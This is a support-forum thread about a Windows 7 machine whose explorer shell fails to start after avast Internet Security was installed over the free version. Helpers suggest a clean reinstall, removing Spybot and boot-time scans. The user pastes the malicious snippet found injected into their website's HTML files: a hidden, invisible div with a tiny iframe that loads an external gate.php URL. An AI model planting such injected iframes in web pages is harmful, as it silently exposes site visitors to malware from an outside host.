startup problem after installation

[cploj]

hey there,

two days ago I purchased avast internet security and installed it. when it asked for a restart I did so and now when windows (I am using windows 7) starts up, the windows interface doesnt launch properly. only one explorer window pops up and I have to start the task manager and create a task (explorer.exe) by hand to get the windows gui.

any ideas what is causing this? I was using the free avast version with no problems before.

cheers,
ello

Did you a clean install of Internet Security? Or have you upgraded over your Free Edition?

i have installed it over my free version

[DJBone]

Then try a clean install:
1 Download latest stable version of avast: http://www.avast.com/download-software
2 Uninstall avast.
3 http://www.avast.com/uninstall-utility (note the Windows Safe Mode detail).
4 Run aswclear several times, for each version / edition of avast ever installed or updated to in your system.
5 Install avast and reboot after the installation finishes.
6 Let avast update itself (do not force it).
7 Report back whichever the result.

okay I've seen that before, that's a case where you're gonna have to go into safe mode, uninstall Avast, reboot, re-install, reboot, you're done.

 Don't know why this happens off and on, either explorer breaks or you can't login at all. I've seen that with Comodo too.

 This time if you got a license, install AIS directly

thank you both. i'll try that. hope it works

hi, now i did the thing you mentioned but the problem remains. is this any windows setting that could have been set accidentally?

[DJBone]

Do you have any other security related software installed? Or was something installed before?

i am using spybot search and destroy, too

btw, it seemed that my computer has been infected by something, because somehow my website was infected with a malware which put the following into every html file:

<!--qpi--><style>div.pofasdfhg{z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;}</style><div class=pofasdfhg><iframe src=http://bigdeal777.com/gate.php?f=966435   frameborder=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height=5 border=0></iframe></div><!--/qpi-->

thats mostly the reason why i bought the full avast version.

could it be that a virus hides itself so avast cannot find it?

[DJBone]

Could you please deinstall Spybot, restart your computer and post the result?

DJBone

[cploj]

that didnt change anything.. what could it be. i found another thread on the web where someone had the same problem. but other than here he found a virus and removing it solved everything

[DJBone]

Did you ran a Boot Time Scan with avast?

DJBone

[cploj]

yes, i did this last night.

[DJBone]

And was anything found (just for clarification)?

DJBone

[cploj]

no.. thats the problem. my provider told me that it could be my pc is infected. but what am i supposed to do if nothing is found?

i just had a look at the window event messages and found some errors:

could any of those be related?
